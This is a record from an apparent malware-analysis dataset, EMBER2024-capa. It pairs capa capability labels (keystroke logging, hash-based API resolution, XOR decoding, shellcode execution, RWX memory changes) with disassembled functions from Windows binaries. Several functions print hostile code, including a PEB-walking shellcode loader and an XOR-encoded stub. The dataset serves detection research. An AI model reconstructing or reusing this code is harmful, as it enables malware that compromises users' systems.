joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4782f0
Capabilities:
Find taskbar
Log keystrokes

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov edi, eax
test edi, edi
je 0x4784bc
mov ebx, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push edi
call ebx
mov ebp, eax
mov dword [esp + 0x20], ebp
cmp ebp, dword [0x4c96c0]
je 0x478329
mov esi, edi
call fcn.004793d0
test al, al
jne 0x4784bc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
jne 0x478343
push eax
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
mov esi, eax
push edi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x478357
push 9
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
cmp edi, esi
jne 0x478365
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
cmp byte [0x4c865a], 0
jne 0x47837f
push esi
call fcn.00478290
add esp, 4
test eax, eax
jne 0x4784be
mov byte [esp + 0x16], 0
mov byte [esp + 0x17], 0
test esi, esi
je 0x4783dc
push 0
push esi
call ebx
mov ebx, eax
mov dword [esp + 0x1c], ebx
test ebx, ebx
je 0x4783dc
cmp dword [0x4c96c0], ebx
je 0x4783c3
call fcn.004793d0
test al, al
jne 0x4783c3
mov eax, dword [0x4c96c0]
push 1
push ebx
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
setne byte [esp + 0x16]
test ebp, ebp
je 0x4783dc
cmp ebx, ebp
je 0x4783dc
push 1
push ebp
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
setne byte [esp + 0x17]
mov ebx, dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [esp + 0x18], 0
push edi
call ebx
push 1
push 0xa
mov dword [0x4c491c], 0
call fcn.004013d0
add esp, 8
mov dword [0x4c491c], 1
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebp, eax
cmp ebp, edi
jne 0x47841d
mov ebp, edi
jmp 0x47842e
cmp ebp, esi
je 0x478432
push 4
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
cmp edi, eax
jne 0x478432
test ebp, ebp
jne 0x478473
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 0x18], eax
cmp eax, 5
jl 0x4783ea
push 0xffc3d44d
push 0
push 0
push 0
push 0x12
push 2
call fcn.0040fb40
push 0xffc3d44d
push 0
push 0
push 0
push 0x12
push 2
call fcn.0040fb40
push esi
call fcn.00478290
add esp, 0x34
mov ebp, eax
cmp byte [esp + 0x16], 0
je 0x47848e
mov ecx, dword [esp + 0x1c]
mov edx, dword [0x4c96c0]
push 0
push ecx
push edx
call dword [sym.imp.USER32.dll_AttachThreadInput]
cmp byte [esp + 0x17], 0
je 0x4784a7
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push 0
push eax
push ecx
call dword [sym.imp.USER32.dll_AttachThreadInput]
test ebp, ebp
je 0x4784bc
push edi
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x4785c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
cmp byte [esp + 8], 0
je 0x4785d0
mov eax, esi
call fcn.004543d0
jmp 0x4785dd
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, dword [esp + 4]
test eax, eax
js 0x478638
je 0x478638
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call ebp
push 1
push 0x8000012f
mov edi, eax
call fcn.004013d0
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
add esp, 8
push esi
call ebx
test eax, eax
je 0x478635
add edi, dword [esp + 0x10]
call ebp
mov ecx, edi
sub ecx, eax
cmp ecx, 5
jle 0x478635
push 1
push 0x8000012f
call fcn.004013d0
add esp, 8
push esi
call ebx
test eax, eax
jne 0x478614
pop edi
pop ebp
pop ebx
mov eax, esi
ret
Function at 0x478820
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c68
call fcn.004993f0
mov eax, dword [esp + 0x11c70]
push ebx
push ebp
mov ebp, dword [esp + 0x11c74]
push esi
mov esi, ecx
movzx ecx, word [edx]
xor ebx, ebx
cmp ecx, 0x41
je 0x47884c
cmp ecx, 0x61
jne 0x4788a1
cmp word [edx + 2], bx
jne 0x4788a1
cmp word [edi], bx
jne 0x4788a1
cmp word [eax], bx
jne 0x4788a1
cmp word [esi], bx
jne 0x4788a1
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
cmp esi, ebx
je 0x478882
cmp byte [ebp + 0xea], bl
jne 0x478882
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x478882
xor esi, esi
cmp byte [esp + 0x11c84], bl
je 0x478895
cmp esi, ebx
je 0x478895
mov dword [ebp + 0xc4], esi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
cmp cx, bx
jne 0x4788c6
cmp word [edi], bx
jne 0x4788c6
cmp word [eax], bx
jne 0x4788c6
cmp word [esi], bx
jne 0x4788c6
mov eax, ebp
call fcn.00478a20
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
push esi
push edi
push edx
push ebp
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x102c], 0x4a1868
mov byte [esp + 0x1849], bl
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x1850], ebx
mov dword [esp + 0x1854], ebx
mov dword [esp + 0x1858], ebx
mov dword [esp + 0x185c], ebx
mov dword [esp + 0x1860], ebx
mov dword [esp + 0x186c], ebx
mov dword [esp + 0x1870], ebx
call fcn.00479510
test eax, eax
je 0x4789d7
test byte [esp + 0x10], 2
mov al, byte [esp + 0x11c80]
mov ecx, dword [esp + 0x11c88]
mov edx, dword [esp + 0x11c8c]
mov byte [esp + 0x1839], al
mov dword [esp + 0x1848], ecx
mov dword [esp + 0x184c], edx
je 0x4789e3
mov eax, dword [esp + 0x102c]
cmp eax, 0xffff
je 0x4789af
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4789d7
cmp byte [ebp + 0xea], bl
jne 0x4789a8
mov eax, dword [esp + 0x102c]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x4789a8
mov ecx, dword [esp + 0x102c]
push 0xfffffffffffffff0
push ecx
call dword [sym.imp.USER32.dll_GetWindowLongW]
test eax, 0x40000000
je 0x4789d7
mov eax, dword [esp + 0x102c]
cmp dword [esp + 0x1860], eax
je 0x4789c8
lea esi, [esp + 0x10]
mov dword [esp + 0x1860], eax
call fcn.00479970
push ebx
lea edx, [esp + 0x14]
push edx
call fcn.00479a30
test eax, eax
jne 0x4789f3
xor eax, eax
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
lea eax, [esp + 0x10]
push eax
push 0x478a90
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [esp + 0x1840]
cmp byte [esp + 0x11c84], bl
je 0x478a0d
cmp eax, ebx
je 0x478a0d
mov dword [ebp + 0xc4], eax
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
Function at 0x479970
Capabilities:
Get graphical window text

Disassembly:
push ecx
mov ecx, dword [esi + 0x1850]
test ecx, ecx
je 0x479a2e
mov eax, dword [esi]
test eax, eax
je 0x479a2e
push edi
test al, 1
jne 0x47999a
mov eax, dword [esi + 0x100c]
cmp word [eax], 0
je 0x4799b6
push 0x7fff
lea edi, [esi + 0x1858]
push edi
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x4799b6
xor ecx, ecx
mov word [edi], cx
test byte [esi], 4
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
je 0x4799d1
mov eax, dword [esi + 0x1850]
lea edx, [esi + 0x1854]
push edx
push eax
call edi
test byte [esi], 0x20
je 0x479a0f
mov edx, dword [esi + 0x1850]
lea ecx, [esp + 4]
push ecx
push edx
call edi
test eax, eax
je 0x479a0f
movzx eax, byte [esi + 0x1828]
mov ecx, dword [esp + 4]
push eax
lea eax, [esi + 0x11a58]
call fcn.0044fdf0
add esp, 4
test eax, eax
jne 0x479a0f
xor ecx, ecx
mov word [esi + 0x11a58], cx
test byte [esi], 8
pop edi
je 0x479a2e
mov eax, dword [esi + 0x1850]
push 0x101
lea edx, [esi + 0x11856]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
pop ecx
ret

Function at 0x47a270
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c64
call fcn.004993f0
mov eax, dword [esp + 0x11c68]
mov eax, dword [eax + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
je 0x47a31d
mov dword [esp + 0x1848], eax
lea eax, [esp + 8]
push eax
push 0x47a9b0
mov dword [esp + 0x10], ebx
mov dword [esp + 0x101c], 0x4a1868
mov byte [esp + 0x1839], bl
mov dword [esp + 0x183c], ebx
mov dword [esp + 0x1840], ebx
mov dword [esp + 0x1844], ebx
mov dword [esp + 0x1848], ebx
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x185c], ebx
mov dword [esp + 0x1860], ebx
mov byte [esp + 0x1854], cl
mov dword [esp + 0x1858], edx
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [esp + 0x1838], ebx
je 0x47a31d
mov ecx, dword [0x4c4a14]
mov eax, dword [ecx + 0x54]
cmp eax, 0xffffffff
jle 0x47a31d
push 1
push eax
call fcn.004013d0
add esp, 8
mov eax, 1
pop ebx
add esp, 0x11c64
ret 4
Function at 0x47a330
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
cmp dword [edi + 8], 0
jne 0x47a34c
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
mov eax, dword [0x4c4a14]
push eax
push esi
mov ecx, edi
call fcn.0047a7f0
cmp byte [edi], 0
mov dword [esp + 0x10], eax
je 0x47a383
test eax, eax
jne 0x47a387
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push edi
call fcn.0047a440
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
test eax, eax
jne 0x47a406
test esi, esi
je 0x47a406
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
push 1
push 0x8000012f
mov ebx, eax
call fcn.004013d0
mov edi, dword [sym.imp.USER32.dll_IsWindow]
add esp, 8
push esi
call edi
test eax, eax
je 0x47a3e5
mov edi, edi
call ebp
lea ecx, [ebx + 0x1f4]
sub ecx, eax
cmp ecx, 5
jle 0x47a3e5
push 1
push 0x8000012f
call fcn.004013d0
add esp, 8
push esi
call edi
test eax, eax
jne 0x47a3c0
mov edx, dword [0x4c4a14]
mov eax, dword [edx + 0x54]
cmp eax, 0xffffffff
jle 0x47a3fe
push 1
push eax
call fcn.004013d0
add esp, 8
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x18]
cmp byte [edi], 0
je 0x47a420
mov ecx, dword [esp + 0x1c]
push 0
push ecx
push edi
call fcn.0047a440
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
mov edx, dword [esp + 0x1c]
push edx
mov ecx, edi
call fcn.0047a5c0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x47a5c0
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c68
call fcn.004993f0
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 8], ebx
je 0x47a740
xor cl, cl
mov eax, edi
call fcn.0047a760
test eax, eax
jne 0x47a5f5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebp, eax
mov eax, dword [0x4c4a14]
push eax
push ebp
mov ecx, edi
call fcn.0047a7f0
test eax, eax
je 0x47a618
xor eax, eax
mov dword [0x4c96b8], eax
jmp 0x47a61d
mov eax, dword [0x4c96b8]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1024], 0x4a1868
mov dword [esp + 0x1844], ebx
mov dword [esp + 0x1848], ebx
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x1864], ebx
mov dword [esp + 0x1868], ebx
cmp byte [esp + 0x11c7c], bl
je 0x47a663
mov byte [esp + 0x1841], bl
cmp eax, ebx
je 0x47a66b
mov byte [esp + 0x1841], 1
mov ecx, dword [0x4c96b4]
mov edx, dword [edi + 8]
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
mov dword [esp + 0x1854], eax
lea eax, [esp + 0x18]
push eax
push 0x47a8c0
mov dword [esp + 0x1858], ecx
mov dword [esp + 0x1860], edx
call esi
mov eax, dword [esp + 0x1848]
cmp eax, ebx
je 0x47a718
lea ecx, [esp + 0x10]
push ecx
push 0x479320
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ebx
call esi
mov esi, dword [esp + 0x14]
cmp esi, ebx
je 0x47a6d5
mov edx, dword [esp + 0x1848]
call fcn.00479f00
mov dword [esp + 0x1848], esi
mov eax, dword [esp + 0x1848]
call fcn.004782f0
mov edx, dword [esp + 0x1848]
call fcn.00479f00
mov edx, dword [0x4c4a14]
mov eax, dword [edx + 0x54]
cmp eax, 0xffffffff
jle 0x47a740
push 1
push eax
call fcn.004013d0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret 4
mov eax, dword [0x4c96b8]
cmp eax, ebx
je 0x47a740
cmp eax, 1
setg al
mov dword [0x4c96b8], ebx
cmp al, bl
je 0x47a740
mov edx, ebp
call fcn.00479f00
push ebx
mov ecx, edi
call fcn.0047a5c0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x11c68
ret 4
Function at 0x494586
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4c3d70]
jne 0x494590
repz ret
jmp fcn.00498e1f

Function at 0x4971b0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4c3d70]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00491682
and dword [ebp - 0x14], 0
cmp dword [0x4c6c9c], 0
mov dword [ebp - 0x18], eax
jne 0x497263
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x49730b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4a0ff8
push ebx
call edi
test eax, eax
je 0x49730b
mov esi, dword [fcn.0048d910]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4c6c9c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4c6ca0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4c6ca4], eax
call edi
push eax
call esi
mov dword [0x4c6cac], eax
test eax, eax
je 0x497263
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4c6ca8], eax
mov eax, dword [0x4c6ca8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.0048d914]
cmp eax, ecx
je 0x4972bc
cmp dword [0x4c6cac], ecx
je 0x4972bc
push eax
call esi
push dword [0x4c6cac]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4972bc
test ebx, ebx
je 0x4972bc
call edi
test eax, eax
je 0x4972b3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4972b3
test byte [ebp - 8], 1
jne 0x4972bc
or dword [ebp + 0x10], 0x200000
jmp 0x4972ef
mov eax, dword [0x4c6ca0]
cmp eax, dword [ebp - 0x18]
je 0x4972ef
push eax
call esi
test eax, eax
je 0x4972ef
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4972ef
mov eax, dword [0x4c6ca4]
cmp eax, dword [ebp - 0x18]
je 0x4972ef
push eax
call esi
test eax, eax
je 0x4972ef
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4c6c9c]
call esi
test eax, eax
je 0x49730b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x49730d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00494586
leave
ret
Function at 0x411901
Capabilities:
Resolve function by hash

Disassembly:
push 0x4012f0
call sub.MSVBVM60.DLL_ThunRTMain
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], al
dec ebp
xor eax, ebx
or al, 0x4c
push es
inc ebp
lcall 0xe566, 0xac73e783
cmp al, 0
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + 0x61], bl
popal
inc ecx
inc esp
inc ebp
imul ebp, dword [ebp], 0
add byte [eax], al
add byte cs:[eax], al
add byte [eax], al
push es
add byte [eax], al
add byte [eax + 0x37], bh
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax], ah
das
inc eax
add byte [edi], al
add byte [eax], al
add ah, bl
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax + 0x700402e], al
add byte [eax], al
add byte [esi + ebp], bh
inc eax
add byte [edi], al
add byte [eax], al
add ah, dh
sub eax, 0x70040
add byte [eax], al
mov al, 0x2d
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax + 0x2d], ch
inc eax
add byte [edi], al
add byte [eax], al
add byte [ebp + 0x70040], ah
add byte [eax], al
shr byte [eax + eax*2], 1
add byte [edi], al
add byte [eax], al
add byte [esp + ebp + 0x70040], cl
add byte [eax], al
and al, 0x2c
inc eax
add byte [edi], al
add byte [eax], al
add al, bl
sub eax, dword [eax]
pop es
add byte [eax], al
add byte [ebx + ebp + 0x70040], dl
add byte [eax], al
cmp al, 0x2b
inc eax
add byte [edi], al
add byte [eax], al
add byte [eax + 0x2a], dh
inc eax
add byte [esi + 0x42], dl
xor eax, 0x2a263621
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or al, byte [eax]
or dword [eax + eax], eax
add byte [eax], al
add byte [eax], al
add byte [esi + edx], ch
inc eax
add ah, bl
sbb dword [eax], eax
add al, 0xf8
xor byte [ecx], al
add bh, bh
invalid
push ebx
push esi
push edi
push ebp
cld
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4118c7
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4118be
cmp edi, 0x6a4abc5b
mov ebp, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x4118b6
call 0x411901
or eax, 0x776c6873
popal
jo 0x411951
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x411901
mov edi, 0xec0e4e8e
call fcn.00411a57
mov edx, dword [esp]
inc edx
push edx
call eax
push ebp
mov ebp, eax
mov edi, 0x2de87c46
call fcn.00411a57
pop ebp
call fcn.00411a49
mov edx, dword [esp]
inc edx
xor ebx, ebx
push ebx
push ebx
push ebx
push edx
call eax
test eax, eax
jne 0x41194e
mov edi, 0xca2bd06b
call fcn.00411a57
call fcn.00411958
xor ebx, ebx
push ebx
push ebx
push ebp
push ecx
push ebx
push ebx
call eax
pop eax
pop ebp
pop edi
pop esi
pop ebx
jmp 0x401220
Function at 0xeedf64
Capabilities:
Encode data using xor

Disassembly:
jmp 0xeedf6e
pushal
call 0xeedf74
pop ebp
sub ebp, 0x10
sub ebp, 0xaedf64
jmp 0xeedf8a
mov eax, 0xaedf64
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cc
mov edx, 0xef38ec5c
xor byte [eax], dl
inc eax
dec ecx
jne 0xeedfa1
jmp 0xeedfb4
xlatb
xchg ecx, eax
xlatb
aad 0x60
pop esp
pop esp
pop esp
fstp qword [ebp + 0x5c5c5ca4]
pop edi
xchg ecx, eax
in al, 0x5a
pop esp
pop esp
pop esp
out 0x74, al
pop esp
pop esp
pop esp
stosd dword es:[edi], eax
mov esi, 0xddd7945f
push eax
pop esp
xchg esp, eax
xlatb
fst qword [eax + 0x5c]
pop esp
pop esp
pop edi
cdq
or al, 0xc
xor al, 0xf4
inc edi
jge 0xeee03d
xor al, 0xe7
lahf
rcr dword [ebp + ebx*2 + 0x70], 1
js 0xeee01e
xchg dword [esi], edx
inc ebp
invalid
pop esp
pop esp
mov ch, 0x6a
pop esp
pop esp
pop esp
sar dword [eax], 1
js 0xeedf9c
aad 0x70
js 0xeedfd1
xor byte [eax + 0x5c], bh
xlatb
fst dword [esp + ebx*2 + 0x5c]
pop esp
xlatb
leave
push eax
pop esp
pop esp
pop esp
xlatb
ror dword [esp + ebx*2 + 0x5c], 1
pop esp
popfd
mov ch, 0x5e
insd dword es:[edi], dx
pop esi
fistp word [esi - 0x26aceaa8]
test al, 0xa3
mov dword [0x7870d7a3], eax
push ebx
fldcw word [eax - 0x285c5c5d]
jo 0xeee09f
sar dword [eax], 1
js 0xeee083
sahf
push eax
pop esp
xlatb
sar byte [eax + 0x58], 1
pop esp
pop esp
pop esp
xor al, 0xf4
inc edi
jge 0xeee096
xor al, 0xe7
lahf
rcr dword [ebp + ebx*2 + 0x70], 1
js 0xeee050
mov ah, 0x59
pop esp
pop esp
pop esp
mov ch, 0xb
pop esi
pop esp
pop esp
sar dword [eax], 1
js 0xeedff1
mov al, byte [0x87870d5]
aad 0x70
js 0xeee05d
add dword [ebx + 0x29a35029], esp
push esp
mov ah, 0xd8
pop esp
pop esp
pop esp
fcomp dword [esp + ebx*2 + 0x5c]
xlatb
loope 0xeee0b8
pop esp
pop esp
pop esp
invalid
fbstp tbyte [ecx + ebx*2 + 0x12d85314]
pop esp
pop esp
pop esp
push ebx
aam 0x14
pop esp
pop esp
pop esp
cmp dl, bh
inc eax
fsub qword gs:[edi + 0x46d853b4]
pop esp
pop esp
pop esp
fsub qword [edi + 0x4dd853b5]
pop esp
pop esp
pop esp
cmp bl, ch
cmpsd dword [esi], dword es:[edi]
mov dword [0x49d85379], eax
pop esp
pop esp
pop esp
sbb eax, 0xa3a390b5
mov dword [0x5d651075], eax
mov dword [0x651075a3], eax
pop ebp
fistp word [ebp + 0x58b4df59]
mov ch, 0xe1
mov dword [0x875a3a3], eax
pop esi
fistp word [ebp + 0x58b6df5a]
fbstp tbyte [ecx + ebx*2 - 0x5c5c084b]
mov dword [0xd17870d7], eax
cmp byte [eax + 0x58], bh
sahf
push eax
pop esp
or edi, edx
mov al, 0xa
or ecx, dword [ecx]
xlatb
sub dword [eax - 0x29], edx
and dword [eax - 0x12], edx
invalid
Function at 0x10002840
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push esi
push edi
push eax
push 0x40
push 0x10
push 0x1602178
call ebx
mov edi, dword [ebp + 8]
mov ecx, 0x1602178
mov eax, dword [edi + 4]
mov dword [ecx], eax
mov eax, dword [edi + 8]
mov dword [ecx + 4], eax
mov eax, dword [edi + 0xc]
mov dword [ecx + 8], eax
mov eax, dword [edi + 0x10]
mov dword [ecx + 0xc], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x10
push ecx
call ebx
lea eax, [ebp + 8]
push eax
push 0x40
push 0x20
push 0x160218c
call ebx
push 0x20
lea esi, [edi + 0x14]
push esi
push 0x160218c
call fcn.100178b0
add esp, 0xc
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push 0x20
push 0x160218c
call ebx
lea eax, [ebp + 8]
push eax
push 0x40
push 0x10
push 0x16021a8
call ebx
mov eax, dword [edi + 4]
mov ecx, 0x16021a8
mov dword [ecx], eax
mov eax, dword [edi + 8]
mov dword [ecx + 4], eax
mov eax, dword [edi + 0xc]
mov dword [ecx + 8], eax
mov eax, dword [edi + 0x10]
mov dword [ecx + 0xc], eax
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push 0x10
push ecx
call ebx
lea eax, [ebp + 8]
push eax
push 0x40
push 0x20
push 0x16021c4
call ebx
push 0x20
push esi
push 0x16021c4
call fcn.100178b0
add esp, 0xc
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push 0x20
push 0x16021c4
call ebx
lea eax, [ebp + 8]
push eax
push 0x40
push 0x10
push 0x1602204
call ebx
mov eax, dword [edi + 0x54]
mov ecx, 0x1602204
mov dword [ecx], eax
mov eax, dword [edi + 0x58]
mov dword [ecx + 4], eax
mov eax, dword [edi + 0x5c]
mov dword [ecx + 8], eax
mov eax, dword [edi + 0x60]
mov dword [ecx + 0xc], eax
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push 0x10
push ecx
call ebx
lea eax, [ebp + 8]
push eax
push 0x40
push 0x20
push 0x1602218
call ebx
push 0x20
lea esi, [edi + 0x64]
push esi
push 0x1602218
call fcn.100178b0
add esp, 0xc
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push 0x20
push 0x1602218
call ebx
lea eax, [ebp + 8]
push eax
push 0x40
push 0x10
push 0x1602234
call ebx
mov eax, dword [edi + 0x54]
mov ecx, 0x1602234
mov dword [ecx], eax
mov eax, dword [edi + 0x58]
mov dword [ecx + 4], eax
mov eax, dword [edi + 0x5c]
mov dword [ecx + 8], eax
mov eax, dword [edi + 0x60]
mov dword [ecx + 0xc], eax
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push 0x10
push ecx
call ebx
lea eax, [ebp + 8]
push eax
push 0x40
push 0x20
push 0x1602250
call ebx
push 0x20
push esi
push 0x1602250
call fcn.100178b0
add esp, 0xc
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push 0x20
push 0x1602250
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4